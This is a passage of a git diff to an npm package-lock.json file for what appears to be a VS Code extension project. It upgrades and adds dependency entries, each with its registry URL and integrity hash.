"https://registry.npmjs.org/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz", - "integrity": "sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==", + "@ungap/structured-clone": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.0.tgz", + "integrity": "sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==", + "dev": true + }, + "@vscode/codicons": { + "version": "0.0.42", + "resolved": "https://registry.npmjs.org/@vscode/codicons/-/codicons-0.0.42.tgz", + "integrity": "sha512-PlWPUA32rdiJE6250ltFGMzM3GyC1L9OaryDGOpxiMU0H9lBtEJrSFxpRvefdgJuQRcyUenGFTYzFuFbR9qzjg==" + }, + "@vscode/debugprotocol": { + "version": "1.68.0", + "resolved": "https://registry.npmjs.org/@vscode/debugprotocol/-/debugprotocol-1.68.0.tgz", + "integrity": "sha512-2J27dysaXmvnfuhFGhfeuxfHRXunqNPxtBoR3koiTOA9rdxWNDTa1zIFLCFMSHJ9MPTPKFcBeblsyaCJCIlQxg==", "dev": true }, + "@vscode/test-cli": { + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@vscode/test-cli/-/test-cli-0.0.12.tgz", + "integrity": "sha512-iYN0fDg29+a2Xelle/Y56Xvv7Nc8Thzq4VwpzAF/SIE6918rDicqfsQxV6w1ttr2+SOm+10laGuY9FG2ptEKsQ==", + "dev": true, + "requires": { + "@types/mocha": "^10.0.10", + "c8": "^10.1.3", + "chokidar": "^3.6.0", + "enhanced-resolve": "^5.18.3", + "glob": "^10.3.10", + "minimatch": "^9.0.3", + "mocha": "^11.7.4", + "supports-color": "^10.2.2", + "yargs": "^17.7.2" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0" + } + }, + "glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "requires": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + } + }, + "minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + }, + "supports-color": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz", + "integrity": "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==", + "dev": true + } + } + }, "@vscode/test-electron": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/@vscode/test-electron/-/test-electron-1.6.2.tgz", - "integrity": "sha512-W01ajJEMx6223Y7J5yaajGjVs1QfW3YGkkOJHVKfAMEqNB1ZHN9wCcViehv5ZwVSSJnjhu6lYEYgwBdHtCxqhQ==", + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/@vscode/test-electron/-/test-electron-2.5.2.tgz", + "integrity": "sha512-8ukpxv4wYe0iWMRQU18jhzJOHkeGKbnw7xWRX3Zw1WJA4cEKbHcmmLPdPrPtL6rhDcrlCZN+xKRpv09n4gRHYg==", "dev": true, "requires": { - "http-proxy-agent": "^4.0.1", - "https-proxy-agent": "^5.0.0", - "rimraf": "^3.0.2", - "unzipper": "^0.10.11" + "http-proxy-agent": "^7.0.2", + "https-proxy-agent": "^7.0.5", + "jszip": "^3.10.1", + "ora": "^8.1.0", + "semver": "^7.6.2" + } + }, + "@vscode/vsce": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/@vscode/vsce/-/vsce-3.7.0.tgz", + "integrity": "sha512-LY9r2T4joszRjz4d92ZPl6LTBUPS4IWH9gG/3JUv+1QyBJrveZlcVISuiaq0EOpmcgFh0GgVgKD4rD/21Tu8sA==", + "dev": true, + "requires": { + "@azure/identity": "^4.1.0", + "@secretlint/node": "^10.1.2", + "@secretlint/secretlint-formatter-sarif": "^10.1.2", + "@secretlint/secretlint-rule-no-dotenv": "^10.1.2", + "@secretlint/secretlint-rule-preset-recommend": "^10.1.2", + "@vscode/vsce-sign": "^2.0.0", + "azure-devops-node-api": "^12.5.0", + "chalk": "^4.1.2", + "cheerio": "^1.0.0-rc.9", + "cockatiel": "^3.1.2", + "commander": "^12.1.0", + "form-data": "^4.0.0", + "glob": "^11.0.0", + "hosted-git-info": "^4.0.2", + "jsonc-parser": "^3.2.0", + "keytar": "^7.7.0", + "leven": "^3.1.0", + "markdown-it": "^14.1.0", + "mime": "^1.3.4", + "minimatch": "^3.0.3", + "parse-semver": "^1.1.1", + "read": "^1.0.7", + "secretlint": "^10.1.2", + "semver": "^7.5.2", + "tmp": "^0.2.3", + "typed-rest-client": "^1.8.4", + "url-join": "^4.0.1", + "xml2js": "^0.5.0", + "yauzl": "^2.3.1", + "yazl": "^2.2.2" + }, + "dependencies": { + "xml2js": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.5.0.tgz", + "integrity": "sha512-drPFnkQJik/O+uPKpqSgr22mpuFHqKdbS835iAQrUC73L2F5WkboIRd63ai/2Yg6I1jzifPFKH2NTK+cfglkIA==", + "dev": true, + "requires": { + "sax": ">=0.6.0", + "xmlbuilder": "~11.0.0" + } + } + } + }, + "@vscode/vsce-sign": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign/-/vsce-sign-2.0.3.tgz", + "integrity": "sha512-NYktTVXYIjJ41CTfImuWLYSw2UoZwYYFk7VcVYTjTZnD7NnuaM3DizaFZfuRG5YMRT/oZa1t1d4bwzrBALR3VQ==", + "dev": true, + "requires": { + "@vscode/vsce-sign-alpine-arm64": "2.0.1", + "@vscode/vsce-sign-alpine-x64": "2.0.1", + "@vscode/vsce-sign-darwin-arm64": "2.0.1", + "@vscode/vsce-sign-darwin-x64": "2.0.1", + "@vscode/vsce-sign-linux-arm": "2.0.1", + "@vscode/vsce-sign-linux-arm64": "2.0.1", + "@vscode/vsce-sign-linux-x64": "2.0.1", + "@vscode/vsce-sign-win32-arm64": "2.0.1", + "@vscode/vsce-sign-win32-x64": "2.0.1" + } + }, + "@vscode/vsce-sign-alpine-arm64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-alpine-arm64/-/vsce-sign-alpine-arm64-2.0.1.tgz", + "integrity": "sha512-HM2BHzyRKoUHVaaVmLFYcKlnMOcUAfU99oA1yAWX46D6iLZ8rWJYy2IOKTSMOXtVoc5d2hQdZR4+BCV5By4Flg==", + "dev": true, + "optional": true + }, + "@vscode/vsce-sign-alpine-x64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-alpine-x64/-/vsce-sign-alpine-x64-2.0.1.tgz", + "integrity": "sha512-GNh4dNmqwQqEDP2ngUgdu5ZYkJZAHomTppMI0v9sveFoZdML5iWuNGemvCEyInUpSb6Xjxc78ejeMoDay22wBw==", + "dev": true, + "optional": true + }, + "@vscode/vsce-sign-darwin-arm64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-darwin-arm64/-/vsce-sign-darwin-arm64-2.0.1.tgz", + "integrity": "sha512-iFnCbC8RBUyT0ZKEmop5yi7/NxP5G2gIW/giJHYDYppkhfyAR5STxlpf8Vx9hqIS0jPbeldNSn5a5BGMKtGXug==", + "dev": true, + "optional": true + }, + "@vscode/vsce-sign-darwin-x64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-darwin-x64/-/vsce-sign-darwin-x64-2.0.1.tgz", + "integrity": "sha512-Dpv3PRpOzfDpji9JGVxe+hHyh41evyquMeXYykkTdcB3u3bZMoAgYoBlEOGnu87xb4s2J5DTj/J590yN0+dI0A==", + "dev": true, + "optional": true + }, + "@vscode/vsce-sign-linux-arm": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-arm/-/vsce-sign-linux-arm-2.0.1.tgz", + "integrity": "sha512-iltMQuS8K63aIabVrPBB8P2L37XkSwUqPTFLYlH6Bw+UpWJTFFvFFCKlmbxWrq1j8WkG+68Fm437ZfAkRW/rjQ==", + "dev": true, + "optional": true + }, + "@vscode/vsce-sign-linux-arm64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-arm64/-/vsce-sign-linux-arm64-2.0.1.tgz", + "integrity": "sha512-SL6MeobrArp5SKPeUYVr5chp7a42L83vYAzLvD+oQM8fQ8DrZWYpNIyVkxGgsppZRyAt0UU2/5ShPxuNKfnZOA==", + "dev": true, + "optional": true + }, + "@vscode/vsce-sign-linux-x64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-linux-x64/-/vsce-sign-linux-x64-2.0.1.tgz", + "integrity": "sha512-6N6dkZoJX/WKezZ3efCKVKjnbx+TlnUtNUkepyUUhCa3dGjGDqUkeakE2Kz266Bsp0Mm/68zS9HLKVOEv9vn0A==", + "dev": true, + "optional": true + }, + "@vscode/vsce-sign-win32-arm64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-win32-arm64/-/vsce-sign-win32-arm64-2.0.1.tgz", + "integrity": "sha512-t4uYPpQummrmKaDw5Ka6QMEQ+We/Uo6xDEytFjN2jZ3jNOno3Mi7yWlTLg3VDAteHNGA7eBbMZ89Habl6xn8bg==", + "dev": true, + "optional": true + }, + "@vscode/vsce-sign-win32-x64": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@vscode/vsce-sign-win32-x64/-/vsce-sign-win32-x64-2.0.1.tgz", + "integrity": "sha512-ofY1iXoXaNlM3zDt5jw7v59NMh0y2GvKrP4A74aUDJjaXaDd6n/hLaOpDLk4a+MjX6HWiEBr5yNqHGKYa+t2jg==", + "dev": true, + "optional": true + }, + "@xmldom/xmldom": { + "version": "0.8.10", + "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.8.10.tgz", + "integrity": "sha512-2WALfTl4xo2SkGCYRt6rDTFfk9R1czmBvUQy12gK2KuRKIpWEhcbbzy8EZXtz/jkRqHX8bFEc6FC1HjX4TUWYw==" + }, + "abbrev": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", + "dev": true + }, + "abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", + "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "requires": { + "event-target-shim": "^5.0.0" } }, "acorn": { - "version": "8.6.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.6.0.tgz", - "integrity": "sha512-U1riIR+lBSNi3IbxtaHOIKdH8sLFv3NYfNv8sg7ZsNhcfl4HF2++BfqqrNAxoCLQW1iiylOj76ecnaUxz+z9yw==", + "version": "8.11.3", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.11.3.tgz", + "integrity": "sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==", "dev": true }, "acorn-jsx": { @@ -4116,12 +14423,31 @@ "requires": {} }, "agent-base": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.1.tgz", + "integrity": "sha512-H0TSyFNDMomMNJQBn8wFV5YC/2eJ+VXECwOadZJT554xP6cODZHPX3H9QMQECxvrgiSOP1pHjy1sMWQVYJOUOA==", "dev": true, "requires": { - "debug": "4" + "debug": "^4.3.4" + } + }, + "agentkeepalive": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz", + "integrity": "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==", + "dev": true, + "requires": { + "humanize-ms": "^1.2.1" + } + }, + "aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "requires": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" } }, "ajv": { @@ -4136,51 +14462,204 @@ "uri-js": "^4.2.2" } }, - "ansi-colors": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz", - "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==", - "dev": true + "ansi-escapes": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.1.1.tgz", + "integrity": "sha512-Zhl0ErHcSRUaVfGUeUdDuLgpkEo8KIFjB4Y9uAc46ScOpdDiU1Dbyplh7qWJeJ/ZHpbyMSM26+X3BySgnIz40Q==", + "dev": true, + "requires": { + "environment": "^1.0.0" + } }, "ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==" }, "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, "requires": { "color-convert": "^2.0.1" } }, "anymatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", - "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", "dev": true, "requires": { "normalize-path": "^3.0.0", "picomatch": "^2.0.4" } }, - "aproba": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz", - "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==", - "dev": true - }, + "aproba": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", + "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==", + "dev": true + }, + "archiver": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/archiver/-/archiver-7.0.1.tgz", + "integrity": "sha512-ZcbTaIqJOfCc03QwD468Unz/5Ir8ATtvAHsK+FdXbDIbGfihqh9mrvdcYunQzqn4HrvWWaFyaxJhGZagaJJpPQ==", + "requires": { + "archiver-utils": "^5.0.2", + "async": "^3.2.4", + "buffer-crc32": "^1.0.0", + "readable-stream": "^4.0.0", + "readdir-glob": "^1.1.2", + "tar-stream": "^3.0.0", + "zip-stream": "^6.0.1" + }, + "dependencies": { + "buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "buffer-crc32": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-1.0.0.tgz", + "integrity": "sha512-Db1SbgBS/fg/392AblrMJk97KggmvYhr4pB5ZIMTWtaivCPMWLkmb7m21cJvpvgK+J3nsU2CmmixNBZx4vFj/w==" + }, + "readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "requires": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + } + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "requires": { + "safe-buffer": "~5.2.0" + } + }, + "tar-stream": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-3.1.7.tgz", + "integrity": "sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==", + "requires": { + "b4a": "^1.6.4", + "fast-fifo": "^1.2.0", + "streamx": "^2.15.0" + } + } + } + }, + "archiver-utils": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-5.0.2.tgz", + "integrity": "sha512-wuLJMmIBQYCsGZgYLTy5FIB2pF6Lfb6cXMSF8Qywwk3t20zWnAi7zLcQFdKQmIB8wyZpY5ER38x08GbwtR2cLA==", + "requires": { + "glob": "^10.0.0", + "graceful-fs": "^4.2.0", + "is-stream": "^2.0.1", + "lazystream": "^1.0.0", + "lodash": "^4.17.15", + "normalize-path": "^3.0.0", + "readable-stream": "^4.0.0" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "requires": { + "balanced-match": "^1.0.0" + } + }, + "buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "requires": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + } + }, + "is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==" + }, + "minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "requires": { + "brace-expansion": "^2.0.1" + } + }, + "readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "requires": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + } + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "requires": { + "safe-buffer": "~5.2.0" + } + } + } + }, "are-we-there-yet": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.7.tgz", - "integrity": "sha512-nxwy40TuMiUGqMyRHgCSWZ9FM4VAoRP4xUYSTv5ImRog+h9yISPbVH7H8fASCIzYn9wlEv4zvFL7uKDMCFQm3g==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz", + "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==", "dev": true, "requires": { "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "readable-stream": "^3.6.0" + }, + "dependencies": { + "readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + } } }, "argparse": { @@ -4189,59 +14668,96 @@ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", "dev": true }, - "array-union": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", - "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "assertion-error": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz", + "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", + "dev": true + }, + "astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true + }, + "async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==" + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", "dev": true }, "azure-devops-node-api": { - "version": "11.1.0", - "resolved": "https://registry.npmjs.org/azure-devops-node-api/-/azure-devops-node-api-11.1.0.tgz", - "integrity": "sha512-6/2YZuf+lJzJLrjXNYEA5RXAkMCb8j/4VcHD0qJQRsgG/KsRMYo0HgDh0by1FGHyZkQWY5LmQyJqCwRVUB3Y7Q==", + "version": "12.5.0", + "resolved": "https://registry.npmjs.org/azure-devops-node-api/-/azure-devops-node-api-12.5.0.tgz", + "integrity": "sha512-R5eFskGvOm3U/GzeAuxRkUsAl0hrAwGgWn6zAd2KrZmrEhWZVqLew4OOupbQlXUuojUzpGtq62SmdhJ06N88og==", "dev": true, "requires": { "tunnel": "0.0.6", "typed-rest-client": "^1.8.4" } }, + "b4a": { + "version": "1.6.7", + "resolved": "https://registry.npmjs.org/b4a/-/b4a-1.6.7.tgz", + "integrity": "sha512-OnAYlL5b7LEkALw87fUVafQw5rVR9RjwGd4KUwNQ6DrrNmaVaUCgLipfVlzrPQ4tWOR9P0IXGNOx50jYCCdSJg==" + }, "balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" }, + "bare-events": { + "version": "2.5.4", + "resolved": "https://registry.npmjs.org/bare-events/-/bare-events-2.5.4.tgz", + "integrity": "sha512-+gFfDkR8pj4/TrWCGUGWmJIkBwuxPS5F+a5yWjOHQt2hHvNZd5YLzadjmDUtFmMM4y429bnKLa8bYBMHcYdnQA==", + "optional": true + }, "base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" }, - "big-integer": { - "version": "1.6.51", - "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.51.tgz", - "integrity": "sha512-GPEid2Y9QU1Exl1rpO9B2IPJGHPSupF5GnVIP0blYvNOMer2bTvSWs1jGOUg04hTmu67nmLsQ9TBo1puaotBHg==", + "before-after-hook": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-2.2.3.tgz", + "integrity": "sha512-NzUnlZexiaH/46WDhANlyR2bXRopNg4F/zuSA3OpZnllCUgRaOF2znDioDWrmbNVsuZk6l9pMquQB38cfBZwkQ==", "dev": true }, - "binary": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/binary/-/binary-0.3.0.tgz", - "integrity": "sha1-n2BVO8XOjDOG87VTz/R0Yq3sqnk=", + "binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true + }, + "binaryextensions": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/binaryextensions/-/binaryextensions-6.11.0.tgz", + "integrity": "sha512-sXnYK/Ij80TO3lcqZVV2YgfKN5QjUWIRk/XSm2J/4bd/lPko3lvk0O4ZppH6m+6hB2/GTu+ptNwVFe1xh+QLQw==", "dev": true, "requires": { - "buffers": "~0.1.1", - "chainsaw": "~0.1.0" + "editions": "^6.21.0" } }, - "binary-extensions": { - "version": "2.2.0", - "resolved": 